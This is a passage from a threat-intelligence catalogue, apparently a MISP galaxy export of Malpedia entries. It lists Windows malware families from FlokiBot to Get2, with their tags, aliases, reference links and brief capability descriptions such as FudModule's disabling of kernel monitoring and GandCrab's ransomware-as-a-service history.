<td><a href="https://www.arbornetworks.com/blog/asert/flokibot-flock-bots/">https://www.arbornetworks.com/blog/asert/flokibot-flock-bots/</a></td>
</tr>
<tr>
<td><a href="https://www.flashpoint-intel.com/blog/cybercrime/flokibot-emerges-new-malware-kit/">https://www.flashpoint-intel.com/blog/cybercrime/flokibot-emerges-new-malware-kit/</a></td>
</tr>
<tr>
<td><a href="http://blog.talosintel.com/2016/12/flokibot-collab.html#more">http://blog.talosintel.com/2016/12/flokibot-collab.html#more</a></td>
</tr>
</tbody>
</table>

FlowCloud

The tag is: `misp-galaxy:malpedia="FlowCloud"`
FlowCloud is also known as:

Table 3067. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.flowcloud">https://malpedia.caad.fkie.fraunhofer.de/details/win.flowcloud</a></td>
</tr>
<tr>
<td><a href="https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape">https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape</a></td>
</tr>
<tr>
<td><a href="https://nao-sec.org/2021/01/royal-road-redive.html">https://nao-sec.org/2021/01/royal-road-redive.html</a></td>
</tr>
<tr>
<td><a href="https://www.dragos.com/blog/industry-news/new-ics-threat-activity-group-talonite/">https://www.dragos.com/blog/industry-news/new-ics-threat-activity-group-talonite/</a></td>
</tr>
</tbody>
</table>

**FlowerShop**

The tag is: **misp-galaxy:malpedia="FlowerShop"**

FlowerShop is also known as:

Table 3068. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.flowershop">https://malpedia.caad.fkie.fraunhofer.de/details/win.flowershop</a></td>
</tr>
</tbody>
</table>

**Floxif**

The tag is: **misp-galaxy:malpedia="Floxif"**

Floxif is also known as:

Table 3069. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.floxif">https://malpedia.caad.fkie.fraunhofer.de/details/win.floxif</a></td>
</tr>
<tr>
<td><a href="https://www.virusbulletin.com/virusbulletin/2012/12/compromised-library">https://www.virusbulletin.com/virusbulletin/2012/12/compromised-library</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/pe-file-infecting-malware-ot">https://www.mandiant.com/resources/pe-file-infecting-malware-ot</a></td>
</tr>
</tbody>
</table>

**Flusihoc**

Available since 2015, Flusihoc is a versatile C++ malware capable of a variety of DDoS attacks as directed by a Command and Control server. Flusihoc communicates with its C2 via HTTP in plain
text.

The tag is: `misp-galaxy:malpedia="Flusihoc"`

Flusihoc is also known as:

*Table 3070. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.flusihoc">https://malpedia.caad.fkie.fraunhofer.de/details/win.flusihoc</a></td>
</tr>
<tr>
<td><a href="https://www.arbornetworks.com/blog/asert/the-flusihoc-dynasty-a-long-standing-ddos-botnet/">https://www.arbornetworks.com/blog/asert/the-flusihoc-dynasty-a-long-standing-ddos-botnet/</a></td>
</tr>
</tbody>
</table>

**FlyingDutchman**

The tag is: `misp-galaxy:malpedia="FlyingDutchman"`

FlyingDutchman is also known as:

*Table 3071. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.flying_dutchman">https://malpedia.caad.fkie.fraunhofer.de/details/win.flying_dutchman</a></td>
</tr>
</tbody>
</table>

**FlyStudio**

The tag is: `misp-galaxy:malpedia="FlyStudio"`

FlyStudio is also known as:

*Table 3072. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.flystudio">https://malpedia.caad.fkie.fraunhofer.de/details/win.flystudio</a></td>
</tr>
</tbody>
</table>

**Fobber**

The tag is: `misp-galaxy:malpedia="Fobber"`

Fobber is also known as:

*Table 3073. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fobber">https://malpedia.caad.fkie.fraunhofer.de/details/win.fobber</a></td>
</tr>
</tbody>
</table>
FONIX

The tag is: misp-galaxy:malpedia="FONIX"

FONIX is also known as:

Table 3074. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fonix">https://malpedia.caad.fkie.fraunhofer.de/details/win.fonix</a></td>
</tr>
<tr>
<td><a href="https://labs.bitdefender.com/2021/02/fonix-ransomware-decryptor/">https://labs.bitdefender.com/2021/02/fonix-ransomware-decryptor/</a></td>
</tr>
</tbody>
</table>

Formbook

FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.

The tag is: misp-galaxy:malpedia="Formbook"

Formbook is also known as:

- win.xloader

Table 3075. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook">https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook</a></td>
</tr>
<tr>
<td><a href="https://youtu.be/aQwnHILGSBM">https://youtu.be/aQwnHILGSBM</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2021/05/revisiting-the-nsis-based-crypter/">https://blog.malwarebytes.com/threat-analysis/2021/05/revisiting-the-nsis-based-crypter/</a></td>
</tr>
<tr>
<td><a href="https://www.arbornetworks.com/blog/asert/formidable-formbook-form-grabber/">https://www.arbornetworks.com/blog/asert/formidable-formbook-form-grabber/</a></td>
</tr>
<tr>
<td><a href="https://www.netskope.com/blog/new-formbook-campaign-delivered-through-phishing-emails">https://www.netskope.com/blog/new-formbook-campaign-delivered-through-phishing-emails</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.malware-traffic-analysis.net/2023/06/05/index.html">https://www.malware-traffic-analysis.net/2023/06/05/index.html</a></td>
</tr>
<tr>
<td><a href="https://elastic.github.io/security-research/intelligence/2022/01/01.formbook-adopts-cabless-approach/article/">https://elastic.github.io/security-research/intelligence/2022/01/01.formbook-adopts-cabless-approach/article/</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/07/01/xloader-returns-with-new-infection-technique/">https://blog.cyble.com/2022/07/01/xloader-returns-with-new-infection-technique/</a></td>
</tr>
<tr>
<td><a href="https://link.medium.com/uaBiIXgUU8">https://link.medium.com/uaBiIXgUU8</a></td>
</tr>
<tr>
<td><a href="http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html">http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html</a></td>
</tr>
<tr>
<td><a href="https://usualsuspect.re/article/formbook-hiding-in-plain-sight">https://usualsuspect.re/article/formbook-hiding-in-plain-sight</a></td>
</tr>
<tr>
<td><a href="https://cert.gov.ua/article/955924">https://cert.gov.ua/article/955924</a></td>
</tr>
<tr>
<td><a href="https://www.cyren.com/blog/articles/example-analysis-of-multi-component-malware">https://www.cyren.com/blog/articles/example-analysis-of-multi-component-malware</a></td>
</tr>
</tbody>
</table>
**FormerFirstRAT**

The tag is: `misp-galaxy:malpedia="FormerFirstRAT"`

FormerFirstRAT is also known as:

- ffrat

**Table 3076. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.former_first_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.former_first_rat</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/shallowtaurus/">https://unit42.paloaltonetworks.com/atoms/shallowtaurus/</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies">https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies</a></td>
</tr>
</tbody>
</table>

**FortuneCrypt**

The tag is: `misp-galaxy:malpedia="FortuneCrypt"`

FortuneCrypt is also known as:

**Table 3077. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
FoxSocket

The tag is: misp-galaxy:malpedia="FoxSocket"

FoxSocket is also known as:

Table 3078. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.foxsocket

FRat

A RAT employing Node.js, Sails, and Socket.IO to collect information on a target

The tag is: misp-galaxy:malpedia="FRat"

FRat is also known as:

Table 3079. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.frat
https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/frat.md

Freenki Loader

The tag is: misp-galaxy:malpedia="Freenki Loader"

Freenki Loader is also known as:

• SHUTTERESPEED

Table 3080. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.freenki
FriedEx

The tag is: misp-galaxy:malpedia="FriedEx"

FriedEx is also known as:

- BitPaymer
- DoppelPaymer
- IEncrypt

Table 3081. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.friedex">https://malpedia.caad.fkie.fraunhofer.de/details/win.friedex</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions">https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/">https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-drake">https://www.secureworks.com/research/threat-profiles/gold-drake</a></td>
</tr>
<tr>
<td><a href="https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp">https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=LUX0cpIRxmg">https://www.youtube.com/watch?v=LUX0cpIRxmg</a></td>
</tr>
</tbody>
</table>
FudModule

FudModule is a user-mode DLL that gets the ability to read and write arbitrary kernel memory via the BYOVD technique. Its main goal is to turn off Windows system monitoring features, which is done by modifying kernel variables and removing kernel callbacks. Its actions may very likely affect various types of security products, e.g. EDRs, firewalls, antimalware and even digital forensics tools.

The tag is: misp-galaxy:malpedia="FudModule"

FudModule is also known as:

- LIGHTSHOW

Table 3082. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.fudmodule
**win.fujinama**

Fujinama is a custom VB info stealer capable to execute custom commands and custom exfiltrations, keylogging and screenshot. It was involved in the compromise of Leonardo SpA, a major Italian aerospace and defense company.

The tag is: `misp-galaxy:malpedia=“win.fujinama”`

`win.fujinama` is also known as:

*Table 3083. Table References*

**Links**

- [https://malpedia.caad.fkie.fraunhofer.de/details/win.fujinama](https://malpedia.caad.fkie.fraunhofer.de/details/win.fujinama)
- [https://reaqta.com/2021/01/fujinama-analysis-leonardo-spa](https://reaqta.com/2021/01/fujinama-analysis-leonardo-spa)

**FunnySwitch**

The tag is: `misp-galaxy:malpedia=“FunnySwitch”`

FunnySwitch is also known as:

- RouterGod

*Table 3084. Table References*

**Links**

- [https://malpedia.caad.fkie.fraunhofer.de/details/win.funnyswitch](https://malpedia.caad.fkie.fraunhofer.de/details/win.funnyswitch)
FunnyDream

The tag is: misp-galaxy:malpedia="FunnyDream"

FunnyDream is also known as:

Table 3085. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.funny_dream">https://malpedia.caad.fkie.fraunhofer.de/details/win.funny_dream</a></td>
</tr>
<tr>
<td><a href="https://nao-sec.org/2021/01/royal-road-redive.html">https://nao-sec.org/2021/01/royal-road-redive.html</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf</a></td>
</tr>
</tbody>
</table>

Furtim

The tag is: misp-galaxy:malpedia="Furtim"

Furtim is also known as:

Table 3086. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.furtim">https://malpedia.caad.fkie.fraunhofer.de/details/win.furtim</a></td>
</tr>
</tbody>
</table>

FusionDrive

The tag is: misp-galaxy:malpedia="FusionDrive"

FusionDrive is also known as:

Table 3087. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fusiondrive">https://malpedia.caad.fkie.fraunhofer.de/details/win.fusiondrive</a></td>
</tr>
</tbody>
</table>
FuwuqiDrama

FuwuqiDrama is a server-side RAT. It manages client connections by utilizing I/O completion ports, which are usually used in high-performance server applications as an elegant solution to manage many clients at once.

It contains two distinguishing hardcoded lists.

First is a list of ~50 video files of South Korean TV series, having their titles translated to Mandarin Chinese, but encoded in the form of Pinyin romanization. That means the sounds are spelled in Latin alphabet without tone marks, for example meiyounihuobuxiaqu.avi represents Can't Live Without You (a K-drama from 2012) or wulalafufu.avi translates to Ohlala Couple (also from 2012).

Second is the list of the following corporations: NVIDIA, Amazon, Intel, Skype, 360Safe, Rising, Tencent, Mozilla, Adobe, Yahoo, Google. The same list is contained in some of the WannaCryptor samples.

FuwuqiDrama stores its configuration in the INI file data\package_con_x86.cat. It contains the port number and a bot identifier, all within a single section called Fuwuqi – the romanized Chinese word for server.

The tag is: misp-galaxy:malpedia="FuwuqiDrama"

FuwuqiDrama is also known as:

Table 3088. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fuwuqidrama">https://malpedia.caad.fkie.fraunhofer.de/details/win.fuwuqidrama</a></td>
</tr>
</tbody>
</table>

FuxSocy

FuxSocy has some similarities to win.cerber but is tracked as its own family for now.

The tag is: misp-galaxy:malpedia="FuxSocy"

FuxSocy is also known as:

Table 3089. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fuxsocy">https://malpedia.caad.fkie.fraunhofer.de/details/win.fuxsocy</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2019/10/fuxsocy-encryptor-ransomware.html">http://id-ransomware.blogspot.com/2019/10/fuxsocy-encryptor-ransomware.html</a></td>
</tr>
</tbody>
</table>
Gacrx

The tag is: misp-galaxy:malpedia="Gacrx"

Gacrx is also known as:

Table 3090. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gacrx">https://malpedia.caad.fkie.fraunhofer.de/details/win.gacrx</a></td>
</tr>
</tbody>
</table>

GalaxyLoader

GalaxyLoader is a simple .NET loader. Its name stems from the .pdb and the function naming.

It seems to make use of iplogger.com for tracking. It employed WMI to check the system for - IWbemServices::ExecQuery - SELECT * FROM Win32_Processor - IWbemServices::ExecQuery - select * from Win32_VideoController - IWbemServices::ExecQuery - SELECT * FROM AntivirusProduct

The tag is: misp-galaxy:malpedia="GalaxyLoader"

GalaxyLoader is also known as:

Table 3091. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.galaxyloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.galaxyloader</a></td>
</tr>
</tbody>
</table>

Gamapos

The tag is: misp-galaxy:malpedia="gamapos"

gamapos is also known as:

- pios

Table 3092. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gamapos">https://malpedia.caad.fkie.fraunhofer.de/details/win.gamapos</a></td>
</tr>
</tbody>
</table>

Gameover DGA

The tag is: misp-galaxy:malpedia="Gameover DGA"
Gameover DGA is also known as:

Table 3093. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_dga">https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_dga</a></td>
</tr>
</tbody>
</table>

**Gameover P2P**

Gameover ZeuS is a peer-to-peer botnet based on components from the earlier ZeuS trojan. According to a report by Symantec, Gameover Zeus has largely been used for banking fraud and distribution of the CryptoLocker ransomware. In early June 2014, the U.S. Department of Justice announced that an international inter-agency collaboration named Operation Tovar had succeeded in temporarily cutting communication between Gameover ZeuS and its command and control servers.

The tag is: *misp-galaxy:malpedia="Gameover P2P"*

Gameover P2P is also known as:

- GOZ
- Mapp
- ZeuS P2P

Table 3094. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_p2p">https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_p2p</a></td>
</tr>
<tr>
<td><a href="http://www.syssec-project.eu/m/page-media/3/zeus_malware13.pdf">http://www.syssec-project.eu/m/page-media/3/zeus_malware13.pdf</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.lawfareblog.com/what-point-these-nation-state-indictments">https://www.lawfareblog.com/what-point-these-nation-state-indictments</a></td>
</tr>
<tr>
<td><a href="https://www.wired.com/?p=2171700">https://www.wired.com/?p=2171700</a></td>
</tr>
<tr>
<td><a href="https://krebs-on-security.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/">https://krebs-on-security.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/</a></td>
</tr>
</tbody>
</table>
GamePlayerFramework

The tag is: `misp-galaxy:malpedia="GamePlayerFramework"

GamePlayerFramework is also known as:

Table 3095. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.game_player_framework">https://malpedia.caad.fkie.fraunhofer.de/details/win.game_player_framework</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=yVqALLtkvN8&amp;t=8117s">https://www.youtube.com/watch?v=yVqALLtkvN8&amp;t=8117s</a></td>
</tr>
</tbody>
</table>

Gamotrol

The tag is: `misp-galaxy:malpedia="Gamotrol"

Gamotrol is also known as:

Table 3096. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gamotrol">https://malpedia.caad.fkie.fraunhofer.de/details/win.gamotrol</a></td>
</tr>
</tbody>
</table>

Gandcrab

GandCrab was a Ransomware-as-a-Service (RaaS) emerged in January 28, 2018, managed by a criminal organization known to be confident and vocal, while running a rapidly evolving ransomware campaign. Through their aggressive, albeit unusual, marketing strategies and constant recruitment of affiliates, they were able to globally distribute a high volume of their malware.

In a surprising announcement on May 31, 2019, the GandCrab's operators posted on a dark web forum, announced the end of a little more than a year of ransomware operations, citing staggering profit figures. However, If there's one thing that sets these threat actors apart from other groups, it is that they are unpredictable; so there is always the possibility that they might re-surface in one form or another.
The tag is: misp-galaxy:malpedia="Gandcrab"

Gandcrab is also known as:

- GrandCrab

Table 3097. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gandcrab">https://malpedia.caad.fkie.fraunhofer.de/details/win.gandcrab</a></td>
</tr>
<tr>
<td><a href="https://sensorstechforum.com/killswitch-file-now-available-gandcrab-v4-1-2-ransomware/">https://sensorstechforum.com/killswitch-file-now-available-gandcrab-v4-1-2-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/">https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/gandcrab-threat-actors-retire.html">https://www.fortinet.com/blog/threat-research/gandcrab-threat-actors-retire.html</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/revil-threat-actors/">https://unit42.paloaltonetworks.com/revil-threat-actors/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/">https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/</a></td>
</tr>
</tbody>
</table>
Gasket

A backdoor used by Mespinoza ransomware gang to maintain access to a compromised network.

The tag is: misp-galaxy:malpedia="Gasket"

Gasket is also known as:

Table 3098. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.gasket
https://unit42.paloaltonetworks.com/gasket-and-magicsocks-tools-install-mespinoza-ransomware/

Gaudox

Gaudox is a http loader, written in C/C++. The author claims to have put much effort into making this bot efficient and stable. Its rootkit functionality hides it in Windows Explorer (32bit only).

The tag is: misp-galaxy:malpedia="Gaudox"

Gaudox is also known as:

Table 3099. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.gaudox
Gauss

The tag is: `misp-galaxy:malpedia="Gauss"`

Gauss is also known as:

Table 3100. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gauss">https://malpedia.caad.fkie.fraunhofer.de/details/win.gauss</a></td>
</tr>
<tr>
<td><a href="https://web.archive.org/web/20230416140914if_/http://www.chinaview.cn/20230411/4e0fa0f4fd1d408aaddeef8be63a4757/202304114e0fa0f4fd1d408aaddeef8be63a4757_20230411161526_0531.pdf">https://web.archive.org/web/20230416140914if_/http://www.chinaview.cn/20230411/4e0fa0f4fd1d408aaddeef8be63a4757/202304114e0fa0f4fd1d408aaddeef8be63a4757_20230411161526_0531.pdf</a></td>
</tr>
</tbody>
</table>

Gazer

The tag is: `misp-galaxy:malpedia="Gazer"`

Gazer is also known as:

• WhiteBear

Table 3101. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gazer">https://malpedia.caad.fkie.fraunhofer.de/details/win.gazer</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html">https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/">https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/</a></td>
</tr>
<tr>
<td><a href="https://github.com/eset/malware-ioc/tree/master/turla">https://github.com/eset/malware-ioc/tree/master/turla</a></td>
</tr>
<tr>
<td><a href="https://pdfhost.io/v/F0@QElMu2_MacProStorage_2017FinalBitdefenderWhitepaperNetrepserA4en_ENBitdefenderWhitepaperNetrepserA4en_ENindd.pdf">https://pdfhost.io/v/F0@QElMu2_MacProStorage_2017FinalBitdefenderWhitepaperNetrepserA4en_ENBitdefenderWhitepaperNetrepserA4en_ENindd.pdf</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/introducing-whitebear/81638/">https://securelist.com/introducing-whitebear/81638/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/">https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=Pvzhtjl86wc">https://www.youtube.com/watch?v=Pvzhtjl86wc</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/shedding-skin-turlas-fresh-faces/88069/">https://securelist.com/shedding-skin-turlas-fresh-faces/88069/</a></td>
</tr>
</tbody>
</table>
**GCleaner**

The tag is: `misp-galaxy:malpedia="GCleaner"`

GCleaner is also known as:

Table 3102. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gcleaner">https://malpedia.caad.fkie.fraunhofer.de/details/win.gcleaner</a></td>
</tr>
<tr>
<td><a href="https://bazaar.abuse.ch/browse/signature/GCleaner/">https://bazaar.abuse.ch/browse/signature/GCleaner/</a></td>
</tr>
<tr>
<td><a href="https://n1ght-w0lf.github.io/malware%20analysis/gcleaner-loader/">https://n1ght-w0lf.github.io/malware%20analysis/gcleaner-loader/</a></td>
</tr>
</tbody>
</table>

**gcman**

The tag is: `misp-galaxy:malpedia="gcman"`

gcman is also known as:

Table 3103. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gcman">https://malpedia.caad.fkie.fraunhofer.de/details/win.gcman</a></td>
</tr>
</tbody>
</table>

**Gdrive**

According to Unit 42, this is a .NET X64 malware that is capable of interaction with GoogleDrive, allowing an attacker to have victim information uploaded and payloads delivered.

The tag is: `misp-galaxy:malpedia="Gdrive"`

Gdrive is also known as:

- DoomDrive
- GoogleDriveSucks

Table 3104. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gdrive">https://malpedia.caad.fkie.fraunhofer.de/details/win.gdrive</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/">https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/</a></td>
</tr>
</tbody>
</table>
**GearInformer**

The tag is: `misp-galaxy:malpedia="GearInformer"`

GearInformer is also known as:

*Table 3105. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gearinformer">https://malpedia.caad.fkie.fraunhofer.de/details/win.gearinformer</a></td>
</tr>
<tr>
<td><a href="https://wapacklabs.blogspot.ch/2017/02/rebranding-isy-keylogger-gear-informer.html">https://wapacklabs.blogspot.ch/2017/02/rebranding-isy-keylogger-gear-informer.html</a></td>
</tr>
</tbody>
</table>

**GEARSHIFT**

According to FireEye, GEARSHIFT is a memory-only dropper for two keylogger DLLs. It is designed to replace a legitimate Fax Service DLL.

The tag is: `misp-galaxy:malpedia="GEARSHIFT"`

GEARSHIFT is also known as:

*Table 3106. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gearshift">https://malpedia.caad.fkie.fraunhofer.de/details/win.gearshift</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt-41/rpt-apt41/">https://content.fireeye.com/apt-41/rpt-apt41/</a></td>
</tr>
</tbody>
</table>

**GEMCUTTER**

According to FireEye, GEMCUTTER is used in a similar capacity as BACKBEND (downloader), but maintains persistence by creating a Windows registry run key. GEMCUTTER checks for the presence of the mutex MicrosoftGMMZJ to ensure only one copy of GEMCUTTER is executing. If the mutex doesn't exist, the malware creates it and continues execution; otherwise, the malware signals the MicrosoftGMMExit event.

The tag is: `misp-galaxy:malpedia="GEMCUTTER"`

GEMCUTTER is also known as:

*Table 3107. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gemcutter">https://malpedia.caad.fkie.fraunhofer.de/details/win.gemcutter</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireeye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireeye/images/rpt-apt30.pdf</a></td>
</tr>
</tbody>
</table>
GeminiDuke

The tag is: _misp-galaxy:malpedia="GeminiDuke"_

GeminiDuke is also known as:

_Table 3108. Table References_

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.geminiduke">https://malpedia.caad.fkie.fraunhofer.de/details/win.geminiduke</a></td>
</tr>
</tbody>
</table>

Get2

The tag is: _misp-galaxy:malpedia="Get2"_

Get2 is also known as:

- FRIENDSPEAK
- GetandGo

_Table 3109. Table References_

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.get2">https://malpedia.caad.fkie.fraunhofer.de/details/win.get2</a></td>
</tr>
<tr>
<td><a href="https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/">https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/a-brief-history-of-ta505">https://intel471.com/blog/a-brief-history-of-ta505</a></td>
</tr>
<tr>
